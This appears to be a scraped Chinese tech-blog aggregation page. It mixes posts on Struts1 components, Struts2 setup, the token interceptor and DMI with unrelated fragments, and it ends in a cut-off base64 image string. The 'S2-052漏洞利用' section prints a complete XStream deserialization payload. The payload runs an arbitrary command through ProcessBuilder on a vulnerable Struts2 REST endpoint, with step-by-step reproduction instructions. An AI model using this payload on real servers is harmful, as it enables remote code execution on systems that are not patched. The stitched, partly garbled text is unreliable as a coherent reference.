层层递进Struts1(三)之Struts组成

这篇博客我们来说一下Struts的主要组成我们,通过前几篇博客,我们知道这个框架最重要的几个步骤:获取路径、封装表单、获取转向列表、转向逻辑处理、转向,与此对应的是:ActionServlet、ActionForm、ActionMapping、Action、ActionForward。 ActionServlet 这个在上篇博客已经说明,可以访问。 ActionForm ActionForm的主要作用是对表单数据进行封装,这个.NET开发中的实体类有些类似,它的使用有以下限制:ActionForm中的get/set属性名必须和表单字段一致;必须继承自org.apache.struts.action.ActionForm。 ActionForm除了封装数据意外,还可以进行对数据进行校验、组装前初始化属性,当然这分别需要实现validate和reset函数。 ActionForm转换器 它还可以数据自动进行逻辑转换,使用的是bean-utils的转换器,这个在上篇博客中提到了一次,它位于ActionServlet中的initOther()中,如下: if (convertNull) { ConvertUtils.deregister(); ConvertUtils.register(new BigDecimalConverter(null), BigDecimal.class); ConvertUtils.register(new BigIntegerConverter(null), BigInteger.class); ConvertUtils.register(new BooleanConverter(null), Boolean.class); ConvertUtils.register(new ByteConverter(null), Byte.class); ConvertUtils.register(new CharacterConverter(null), Character.class); ConvertUtils.register(new DoubleConverter(null), Double.class); ConvertUtils.register(new FloatConverter(null), Float.class); ConvertUtils.register(new IntegerConverter(null), Integer.class); ConvertUtils.register(new LongConverter(null), Long.class); ConvertUtils.register(new ShortConverter(null), Short.class); 这个代码段的作用是将转换器初始化到一个map中,它们都实现了Convert接口的方法: public Object convert(Class type, Object value); 如boolean类型的转换器,代码如下: 以boolean的转换器为例 public Object convert(Class type, Object value) { if (value == null) { if (useDefault) { return (defaultValue); } else { throw new ConversionException(“No value specified”); } if (value instanceof Boolean) { return (value); try { String stringValue = value.toString(); if (stringValue.equalsIgnoreCase(“yes”) || stringValue.equalsIgnoreCase(“y”) || stringValue.equalsIgnoreCase(“true”) || stringValue.equalsIgnoreCase(“on”) || stringValue.equalsIgnoreCase(“1”)) { return (Boolean.TRUE); } else if (stringValue.equalsIgnoreCase(“no”) || stringValue.equalsIgnoreCase(“n”) || stringValue.equalsIgnoreCase(“false”) || stringValue.equalsIgnoreCase(“off”) || stringValue.equalsIgnoreCase(“0″)) { return (Boolean.FALSE); } else if (useDefault) { return (defaultValue); } else { throw new ConversionException(stringValue); } } catch (ClassCastException e) { if (useDefault) { return (defaultValue); } else { throw new ConversionException(e); } 可以看到它转换的类型有限,如果我想转换其它的类型怎么办?还好,这里提供了自定义转换器的功能,具体见博客。 动态ActionForm 它是以配置文件的形式存在的,例如在struts-config中配置: form-beans form-bean name=”dynaForm” type=”org.apache.struts.action.DynaActionForm” form-property name=”username” type=”java.lang.String” / form-property name=”age” type=”java.lang.Integer” / /form-bean /form-beans 需要注意的是动态ActionForm的读取方式稍有不同: body 用户名:${dynaForm.map.username }; 注意它的获取方式 年 龄:${dynaForm.map.age } /body ActionForward 转向和重定向 struts默认的mapping.findForward是转发,如果需要重定向,则需要添加redirect属性: forward name=”login” path=”/login.jsp” redirect=”true”/ 一般情况下我们可以通过更改url路径直接访问某一个jsp界面,有时这样是没必要且不安全的,但是如果将其放到web-inf文件夹下,则不可以通过url直接访问,可以做为限制jsp访问的一种方法。 struts配置文件启动就加载到内存中,运行期不允许修改,所以不能使用forward.findForward().setRedirect 的值,如果想使用代码实现跳转可以采用以下方式: public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { response.sendRedirect(request.getContextPath()+”/login.jsp”); return null; 和 @Override public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { int page=Integer.parseInt(request.getParameter(“page”).toString()); ActionForward af=null; af.setPath(“/”+page+”.jsp”); return af; } 虽然可以使用,但是这会大大降低代码的灵活性和可扩展性,所以不推荐使用。 Action Action就是核心逻辑控制器,它主要负责获取参数、调用Model、转向三个方面。 ForwardAction Action的子类,作用与action中的forward标签类似,但是二者在处理的时候还是有区别的,执行RequestProcessor的 // Process a forward or include specified by this mapping if (!processForward(request, response, mapping)) { return; } 时,如果使用forward属性时,会直接return,而使用ForwardAction时会继续执行。 DispatchAction 详见博客 ActionMapping unknown属性 在配置文件中添加unknown属性,即在发生404错误时,自动跳转到unknown的页面,例如: action forward=”/unknown.jsp” unknown=”true” /action input属性 input属性的意思是在struts中配置action时,加入input,这样的作用是省去了一个forward标签,例如 注意使用input属性时,和以前的跳转稍有不同: 文章至此,Struts1的基本组成部分已经讲解完毕,其它诸如国际化、异常处理、标签库等都是实用性的知识,在此不再说明。 更多相关博客,请至

mysql 统计 每天累计用户数

该问题的最初来源,是源于Struts中的 return SUCCESS; 和 return success 在Struts的配置文件struts.xml我们可以找到&quot … Oracle 9i数据库,执行下面语句出现错误“ORA-01791: 不是 SELECTed 表达式”:select distinct t.name from auth_employee t orde … eclipse– gc overhead limit exceeded 修改内存不足的方法如下: Eclipse报错:gc overhead limit exceeded eclipse 原因是Ec … 1:定义常量 ?php define( TAX_RATE ,0.08); echo TAX_RATE; //输出0.08 //2 (PHP 5.3) const TAX_R … 火狐中文网图片效果: [http://i.firefoxchina.cn/?www.firefoxchina.cn] .news-img-wrapper:hover img {     transfo … 在C:\Windows\System32\drivers\etc文件夹下有hosts文件,用编辑器打开,看看有没有配置127.0.0.1 localhost 把前面的#去掉保存即可! Bind函数 Bind函数在函数式编程中是如此重要,以至于函数式编程语言会为bind函数设计语法糖.另一个角度Bind函数非常难以理解,几乎很少有人能通过简单的描述说明白bind函数的由来及原理. 这 … EXPLAIN解析SELECT语句执行计划: EXPLAIN与DESC同义,通过它可解析MySQL如何处理SELECT,提供有关表如何联接和联接的次序,还可以知道什么时候必须为表加入索引以得到一个使用 … 应用内(webview中html页面点击) : 应用内打开本地安装应用指的是webview里打开应用,需要2个步骤: 1: 需要下载一个cordova插件:com.lampa.startapp ,也可 … 现在物联网流行的就是MQTT 其实MQTT就是在TCP的基础上建立了一套协议 可以看这个,本来我自己想用Wireshark监听一下,不过百度一搜索一大把,我就不测试了 https://blog.csd …

win10安装MySQL

过去,企业级的数据分析通常会有这么几种场景,业务部门托信息部门分析数据,结果报表一出,唇枪舌剑争论你我高低,数据不准,指标不对.信息部门欠缺业务概念,业务部门不懂技术逻辑,数据分析之路,暂时搁浅. 后 … 其实struts2通过action返回json挺简单的,但是就是老要忘,所以索性写在博客上.好的,开始. 首先是引入必须的jar包: struts2-json-plugin-2.3.24.jar 然后 … /****** Object: Job [syncData_23_00] Script Date: 09/30/2013 16:48:32 ******/ ) IF EXISTS (SELECT jo … Useful Sharepoint Designer Custom Workflow Activities http://spdactivities.codeplex.com/ http://stac … 对于mongoDB而言,学习方式和学习关系型数据库差不太多 開始都是学习怎样insert.find.update.remove,然后就是分页.排序.索引,再接着就是主从复制.副本集.分片等等 最后就是 … 1. 你从哪里来?端模式(Endian)的这个词出自Jonathan Swift书写的 格列佛游记 .这本书根据将鸡蛋敲开的方法不同将所有的人分为两类,从圆头开始将鸡蛋敲开的人被归为Big … #cinder控制节点集群 openstack pike 部署 目录汇总 http://www.cnblogs.com/elvi/p/7613861.html #cinder块存储控制节点.txt.s … 用sublime写了python3的代码,COMMAND + B运行调用 PYTHON3 我们先来新建一个sublime build system 然后自动打开了一个文本,清空并写入以下内容: { & … 偷得一篇文章: postman测试微信小程序接口—postman https://www.sunzhongwei.com/using-the-postman-test-wechat-mini-ap …   今天遇到了一个关于LINKED SERVER查询报错的案例,链接服务器链接ORACLE数据库,测试没有错误,但是执行脚本的时候,报如下错误: Msg 7399, Level 16, State 1 …

关于Struts2的jsp页面的注释

4.1 TCP连接 TCP为HTTP提供了一条可靠的比特传输管道,按顺序正确的传输,步骤如下: 浏览器解析主机名. 查询这个主机名的IP地址(DNS) 获得端口号. 浏览器对服务器该端口号发起连接. … 一.拦截器是怎么实现: 实际上它是用Java中的动态代理来实现的 二.拦截器在Struts2中的应用 对于Struts2框架而言,正是大量的内置拦截器完成了大部分操作.像params拦截器将http请 … Dijkstra. /* 1601 */ #include cstdio #include cstring #include cstdlib #defi … 有些朋友问:foo, bar是什么意思, 为什么C++书籍中老见到这个词. 我google了一下, 发现没有很好的中文答案.这个问题,在维基百科上有很好的回答.在这里翻译给大家. 译文: 术语foob … 我们除了可以在mysql数据库或phpmyadmin中登陆数据库我们还可以使用linux中命令进行创建,下面我来给大家介绍一个简单的数据库创建方法吧. 首选用putty连接linux服务器,进行命令行 … 1. 为什么要写这篇文章 几年前 NoSQL 开始流行的时候,像其他团队一样,我们的团队也热衷于令人兴奋的新东西,并且计划替换一个应用程序的数据库. 但是,当深入实现细节时,我们想起了一位智者曾经说过 … 五大要素 「外部入力」「外部出力」「内部論理ファイル」 「外部インタフェースファイル」「外部照会」 优点 1) 開発初期段階での概算が可能 2) エンドユーザが認識可能な計測法である(ユーザ目線での機 … 1.下载 spring-tool-suite https://spring.io/tools3/sts/legacy 2.解压运行 sts-bundle\sts-3.9.7.RELEASE\STS.e … function Dijkstra(Graph, source): 2 3      create vertex set Q 4 5      for each vertex v in Graph: … 第一种: 需要在主类头加上  @EnableAutoConfiguration 第二种: pom文件是否加了 dependency groupId org.mybatis …

Struts2学习一———-Struts2的工作原理及HelloWorld简单实现

Struts2工作原理 一个请求在Struts2框架中的处理步骤: 1.客户端初始化一个指向Servlet容器(例如Tomcat)的请求 2.这个请求经过一系列的过滤器(Filter)(这些过滤器中有一个叫做ActionContextCleanUp的可选过滤器,这个过滤器对于Struts2和其他框架的继承很有帮助,例如SiteMesh Plugin) 3.接着FilterDispatcher(2.0~2.1.2;2.1.2之后是StrutsPrepareAndExecuteFilter)被调用,FilterDispatcher询问ActionMapper来决定这个请求是否需要调用某个Action 4.如果ActionMapper决定需要调用某个Action,FilterDispatcher把请求的处理交给ActionProxy 5.ActionProxy通过ConfigurationManager询问框架的配置文件,找到需要调用的Action类,这里,我们一般是从struts.xml配置中读取 6.ActionProxy创建一个ActionInvocation的实例 7.ActionInvocation实例使用命名模式来调用,在调用Action的过程前后,涉及到相关拦截器(Intercepter)的调用 8.一旦Action执行完毕,ActionInvocation负责根据struts.xml中的配置找到对应的返回结果。返回结果通常是(但不总是,也可能是另外的一个Action链)一个需要被表示的JSP或者FreeMarker模板。在表示的过程中可以使用Struts2框架中继承的标签。在这个过程中涉及到ActionMapper。 在上述过程中所有的对象(Action,Results,Interceptors等)都是通过ObjectFactory来创建的。 HelloWorld实例 1.项目结构 2.pom.xml project xmlns=”http://maven.apache.org/POM/4.0.0″ xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd” modelVersion 4.0.0 /modelVersion groupId org.struts /groupId artifactId Struts2-HelloWorld /artifactId packaging war /packaging version 0.0.1-SNAPSHOT /version name Struts2-HelloWorld Maven Webapp /name url http://maven.apache.org /url properties !– 统一Struts2开发环境 — struts2.version 2.5.10 /struts2.version /properties dependencies !– junit — dependency groupId junit /groupId artifactId junit /artifactId version 4.12 /version scope test /scope /dependency !– struts2 — dependency groupId org.apache.struts /groupId artifactId struts2-core /artifactId version ${struts2.version} /version /dependency /dependencies build finalName Struts2-HelloWorld /finalName /build /project 3.web.xml ?xml version=”1.0″ encoding=”UTF-8″? web-app xmlns=”http://java.sun.com/xml/ns/javaee” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd” version=”3.0″ metadata-complete=”true” !– 过滤所有请求交给Struts2处理 — filter filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter /filter-class /filter filter-mapping filter-name struts2 /filter-name url-pattern /* /url-pattern /filter-mapping /web-app 4.HelloWorldAction.java package org.struts.action; import com.opensymphony.xwork2.ActionSupport; public class HelloWorldAction extends ActionSupport { private static final long serialVersionUID = 1L; /** * Struts2默认执行方法 */ @Override public String execute() throws Exception { System.out.println(“执行了Action方法”); return SUCCESS; 5.struts.xml ?xml version=”1.0″ encoding=”UTF-8″? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.5//EN” “http://struts.apache.org/dtds/struts-2.5.dtd” struts package name=”default” namespace=”/” extends=”struts-default” action name=”helloWorld” result /success.jsp /result /action /package /struts 6.success.jsp %@ page language=”java” contentType=”text/html; charset=UTF-8″ pageEncoding=”UTF-8″% !DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” “http://www.w3.org/TR/html4/loose.dtd” html head meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″ title Success.jsp /title /head body This is success.jsp /body /html 7.效果预览

Struts S2-052漏洞利用

昨天在FreeBuf上看到【 然而一直复现不了,今天又试了下竟然成功了。 由于水表查的较严,就不冒险搞别人的服务器了,直接在本地测试下。 测试步骤: 1、下载官方有漏洞版本工程: 2、把那个struts2-rest-showcase.war丢到tomcat的webapps 下,启动tomcat 3、在浏览器访问:http://localhost:8080/struts2-rest-showcase/orders.xhtml 4、启动BP代理9090端口,并且在浏览器配置代理 5、点击表单的View,修改BP中的请求参数 写入http头:Content-Type: application/xml 写入poc: ?xml version=”1.0″ encoding=”utf-8″? map entry jdk.nashorn.internal.objects.NativeString flags 0 /flags value dataHandler dataSource is cipher initialized false /initialized opmode 0 /opmode serviceIterator iter iter / next command string 你要执行的代码 /string /command redirectErrorStream false /redirectErrorStream /next /iter filter method class java.lang.ProcessBuilder /class name start /name parameter-types/ /method name foo /name /filter next foo /next /serviceIterator lock/ /cipher input / ibuffer/ done false /done ostart 0 /ostart ofinish 0 /ofinish closed false /closed /is consumed false /consumed /dataSource transferFlavors/ /dataHandler dataLen 0 /dataLen /value /jdk.nashorn.internal.objects.NativeString jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/ /entry entry jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/ jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/ /entry /map 其中 你要执行的代码 可以是任意恶意代码,但是要根据服务器系统而定。我把他替换为terminator,表示打开一个终端窗口。 可以看到:执行成功 基本步骤就是这样了。 未格式化的poc如下: map entry jdk.nashorn.internal.objects.NativeString   flags 0 /flags   value    dataHandler   dataSource    is    cipher    initialized false /initialized   opmode 0 /opmode   serviceIterator    iter    iter  /   next    command   string calc /string   /command   redirectErrorStream false /redirectErrorStream   /next   /iter   filter    method   class java.lang.ProcessBuilder /class   name start /name   parameter-types/   /method   name foo /name   /filter   next  foo /next   /serviceIterator   lock/   /cipher   input  /   ibuffer /ibuffer   done false /done   ostart 0 /ostart   ofinish 0 /ofinish   closed false /closed   /is   consumed false /consumed   /dataSource   transferFlavors/   /dataHandler   dataLen 0 /dataLen   /value   /jdk.nashorn.internal.objects.NativeString   jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/   /entry   entry   jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/   jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/ /entry /map

Windows server 2016 安装及ORACLE 12C 安装

—恢复内容开始— 一.在官网 http://struts.apache.org/下载struts-2.3.31-all 1.  打开struts-2.3.31-all,将struts-2.3. … 1:相关软件下载: Apache HTTP Server             版本:(httpd-2.2.25-win32-x86-openssl-0.9.8y) PHP             … wc命令用于统计指定文本的行数.字数.字节数 格式:wc [参数] 文本 [root@localhost test]# wc test.txt test.txt [root@localhost tes … 在开发环境及UAT环境经常碰到需要清除归档日志的情形,对于这个问题方法有很多.可以直接使用rm方式清除归档日志,也可以使用find命令来查找符合条件的记录来清除归档日志,或者直接写个shell脚本来搞 … 目录 定义 UML类图 参与者 编写代码 特点 定义 提供一个创建一系列相关或相互依赖的对象的接口,而无需指定具体的类. 使用频率: UML类图 参与者 AbstractFactory:声明一个创建抽 … 一,内存地址对齐的概念    计算机内存中排列.访问数据的一种方式,包含基本数据对齐和结构体数据对齐.    32位系统中,数据总线宽度为32,每次能够读取4字节数据.地址总线为32,最大寻址空间为4 … iOS 7开始UITableView的分割线不在从左侧边界开始了,而是默认空出了一段距离. 如果想要使用默认的分割线而且还要从左侧边界开始的话,有几种解决方式: 1.在tableView的代理方法中设 … 让屏幕代替父母陪孩子?世卫组织:这样是不对的! No sedentary screen time for babies, WHO says Babies and toddlers should not … 今天分享一个自己写的一个初始化的小脚本. 编写初始化系统要考虑到系统的版本问题,现在用的比较多的就是centos6和centos7,所以首先要判断一下系统的版本. cat /etc/redhat-re … css css Table属性 border-collapse 设置是否把表格边框合并为单一的边框 border-spacing 设置表格标题的位置 empty-cells 设置是否显示表格中的空单元 …

struts2 自带的 token防止表单重复提交拦截器

在struts2中,我们可以利用struts2自带的token拦截器轻松实现防止表单重复提交功能! 1. 在相应的action配置中增加:   interceptor-ref name=”token” /interceptor-ref result name=”invalid.token” /error.jsp /result 2. 增加error.jsp文件,代码如下:   h1 禁止重复提交 /h1 3. 在所提交的表单上增加: s:token /s:token 标记。   form action=”firstAction” input name=”uname” value=”zhangsan” br s:token /s:token input type=”submit” value=”提交” /form web.xml: ?xml version=”1.0″ encoding=”UTF-8″? web-app id=”WebApp_9″ version=”2.4″ xmlns=”http://java.sun.com/xml/ns/j2ee”xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd” filter filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter /filter-class /filter filter-mapping filter-name struts2 /filter-name url-pattern /* /url-pattern /filter-mapping /web-app struts.xml: ?xml version=”1.0″ encoding=”UTF-8″ ? !DOCTYPE struts PUBLIC “-//Apache Software Foundation//DTD Struts Configuration 2.0//EN” “http://struts.apache.org/dtds/struts-2.0.dtd” struts package name=”crm” namespace=”/” extends=”struts-default” interceptors interceptor name=”myInter” / interceptor-stack name=”myStack” interceptor-ref name=”defaultStack” / !– interceptor-ref name=”myInter” / — interceptor-ref name=”token” / /interceptor-stack /interceptors default-interceptor-ref name=”myStack” / !– 全局result — global-results result name=”success” /ok.jsp /result /global-results /package package name=”default” namespace=”/” extends=”crm” action name=”firstAction” result name=”invalid.token” /error.jsp /result /action /package /struts Action: package com.huawei.s2.action;public class FirstAction { private String uname; public String execute(){ System.out.println(uname+”========FirstAction=======”); return “success”; } public String getUname() { return uname; } public void setUname(String uname) { this.uname = uname; }} interceptor: package com.huawei.interceptor; import com.opensymphony.xwork2.ActionInvocation;import com.opensymphony.xwork2.interceptor.AbstractInterceptor; /** * 要么实现 Interceptor 接口 要么 继承类 * @author Administrator * */public class MyInterceptor extends AbstractInterceptor{ @Override public String intercept(ActionInvocation invocation) throws Exception { System.out.println(invocation.getAction()); System.out.println(invocation.getInvocationContext()); System.out.println(invocation.getProxy().getActionName()); System.out.println(invocation.getProxy().getMethod()); System.out.println(invocation.getInvocationContext().getParameters()); System.out.println(“action执行前”); invocation.invoke(); System.out.println(“action执行后”); return null; } } jsp: 1.jsp: %@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″% %@taglib prefix=”s” uri=”/struts-tags” % %String path = request.getContextPath();String basePath = request.getScheme()+”://”+request.getServerName()+”:”+request.getServerPort()+path+”/”;% !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head base href=” %=basePath% ” meta http-equiv=”Content-Type” content=”text/html;charset=UTF-8″ title This is my JSP page /title meta http-equiv=”pragma” content=”no-cache” meta http-equiv=”cache-control” content=”no-cache” meta http-equiv=”expires” content=”0″ meta http-equiv=”keywords” content=”keyword1,keyword2,keyword3″ meta http-equiv=”description” content=”This is my page” /head body form action=”firstAction” input name=”uname” value=”zhangsan” br s:token /s:token input type=”submit” value=”提交” /form /body /html ok.jsp: %@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″% %String path = request.getContextPath();String basePath = request.getScheme()+”://”+request.getServerName()+”:”+request.getServerPort()+path+”/”;% !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head base href=” %=basePath% ” meta http-equiv=”Content-Type” content=”text/html;charset=UTF-8″ title This is my JSP page /title meta http-equiv=”pragma” content=”no-cache” meta http-equiv=”cache-control” content=”no-cache” meta http-equiv=”expires” content=”0″ meta http-equiv=”keywords” content=”keyword1,keyword2,keyword3″ meta http-equiv=”description” content=”This is my page” /head body h1 提交成功 /h1 /body /html error.jsp: %@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8″% %String path = request.getContextPath();String basePath = request.getScheme()+”://”+request.getServerName()+”:”+request.getServerPort()+path+”/”;% !DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN” html head base href=” %=basePath% ” meta http-equiv=”Content-Type” content=”text/html;charset=UTF-8″ title This is my JSP page /title meta http-equiv=”pragma” content=”no-cache” meta http-equiv=”cache-control” content=”no-cache” meta http-equiv=”expires” content=”0″ meta http-equiv=”keywords” content=”keyword1,keyword2,keyword3″ meta http-equiv=”description” content=”This is my page” /head body h1 禁止重复提交 /h1 /body /html

Struts2的DMI跟SMI

我使用的Struts2的版本是2.5.2,今天在使用Struts2的DMI(动态方法调用)的时候出现了一个有趣的问题,我先把我的配置及代码展示一下: web.xml filter filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter /filter-class /filter filter-mapping filter-name struts2 /filter-name url-pattern /* /url-pattern /filter-mapping struts.xml struts constant name=”struts.devMode” value=”true” / package name=”myPack” namespace=”/” extends=”struts-default” action name=”index” result name=”success” /index.jsp /result /action action name=”path” result name=”path” /path.jsp /result /action /package /struts PathAction public class PathAction { public String foo() { return “path”; } } index.jsp body a href=”path/path!foo” link /a /body 当我点击index页面的链接的时候得到如下错误页面: aaarticlea/png;base64,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